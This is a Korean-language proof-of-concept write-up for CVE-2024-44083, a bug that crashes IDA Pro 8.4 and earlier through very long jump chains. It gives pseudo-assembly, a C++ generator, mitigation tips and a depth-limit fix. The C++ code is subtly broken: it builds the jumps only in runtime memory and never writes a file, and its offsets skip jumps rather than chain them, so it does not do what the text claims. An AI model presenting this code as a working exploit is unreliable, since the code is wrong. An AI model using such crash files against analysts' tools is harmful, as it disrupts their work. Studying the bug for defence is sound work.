
CVE-2024-44083에 대한 개념 증명: 과도한 점프 체인으로 인한 스택 오버플로로 IDA Pro ≤8.4가 충돌합니다. 기술 분석, 재현 코드, 리버스 엔지니어링 도구에 대한 완화 조언이 포함됩니다.
원래 PoC 저장소들이 삭제되었습니다 (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme). 그래서 여기에 다시 만들었습니다. 작동 방식을 이해하거나 자신의 환경을 테스트하려는 사람들을 위해 재현했습니다.
IDA Pro ≤ 8.4는 과도한 점프 체인이 포함된 바이너리를 분석할 때 충돌합니다.
ida64.dll은 점프 체인을 추적할 때 깊이 제한을 두지 않습니다. 따라서 수천 개의 연결된 점프가 엔트리 포인트로 이어지는 바이너리가 있으면 IDA가 자체적으로 죽습니다.
| 필드 | 값 |
|---|
| CVE | CVE-2024-44083 |
| 영향 받는 버전 | IDA Pro ≤ 8.4 |
| 구성 요소 | ida64.dll |
| CWE | CWE-770 (자원 고갈) |
| 영향 | 충돌 (DoS) |
아이디어는 간단합니다. 계속해서 다른 점프로 점프하는 점프들로 가득 찬 섹션을 만드는 것입니다.
; 의사 코드
section .text
; 이런 게 수천 개
jump_0:
jmp jump_1
jump_1:
jmp jump_2
jump_2:
jmp jump_3
; ... 계속 ...
jump_9999:
jmp payload
payload:
call _start ; 이 크로스 레퍼런스가 문제를 일으킴
_start:
; IDA가 여기로 향하는 모든 점프를 해석하려 시도
; 폭발 충돌
ret
IDA는 모든 점프를 따라가면서 크로스 레퍼런스를 구축하려고 시도하며, 점프가 충분히 많아지면 포기하고 충돌합니다.
C++로 이런 것을 만들고 싶다면 다음과 같이 할 수 있습니다:
#include <windows.h>
#include <cstring>
// 아이디어는 수많은 점프 명령어를 생성하여
// 체인으로 연결하고 최종적으로 엔트리 포인트에 도달하게 하는 것입니다.
void generate_jump_chain() {
// 점프 체인을 위한 실행 가능한 메모리 할당
unsigned char* code = (unsigned char*)VirtualAlloc(
NULL,
10000 * 5 + 10, // 10,000개의 점프 × 5바이트 + 여유 공간
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!code) return;
int offset = 0;
// 10,000개의 연결된 점프 생성
for (int i = 0; i < 10000; i++) {
// JMP rel32 명령어 쓰기 (E9 xx xx xx xx)
code[offset] = 0xE9; // JMP opcode
// 다음 점프까지의 상대 오프셋 계산 (5바이트 앞)
int32_t rel = 5;
// 4바이트 상대 오프셋 복사
memcpy(&code[offset + 1], &rel, 4);
offset += 5;
}
// 마지막 점프로 순환 참조 생성
// 5바이트 뒤로 점프하여 무한 루프 생성
code[offset] = 0xE9;
int32_t rel = -5;
memcpy(&code[offset + 1], &rel, 4);
// 신뢰성을 높이기 위해 반환 값을 추가할 수도 있음
offset += 5;
code[offset] = 0xC3; // ret
// 다음 패턴이 IDA를 충돌시킵니다:
// 10,000개의 점프 → 자기 참조 점프 → IDA가 막힘
// 재귀에 깊이 제한이 없음 → 스택 오버플로 → 충돌
// 정리
VirtualFree(code, 0, MEM_RELEASE);
}
기본적으로 여러 개의 JMP 명령어를 체인으로 연결하는 것입니다. IDA가 분석을 똑똑하게 수행하려 할 때 스택/메모리가 부족해집니다.
이전 IDA를 사용 중이라면:
의심스러운 파일을 열기 전에 자동 분석 비활성화
의심스러운 섹션의 분석 제한
Hex-Rays가 해야 할 일:
// 의사 코드
#define MAX_JUMP_DEPTH 1000
void analyze_jumps(address_t addr, int depth) {
if (depth > MAX_JUMP_DEPTH) {
warn("점프 체인이 너무 깊습니다. 중단합니다.");
return; // 충돌하지 말고 그냥 중단
}
address_t target = get_jump_target(addr);
if (target) {
analyze_jumps(target, depth + 1);
}
}
그냥 깊이 제한만 추가하면 됩니다.
교육 목적으로만 사용하세요. 악용하지 마세요.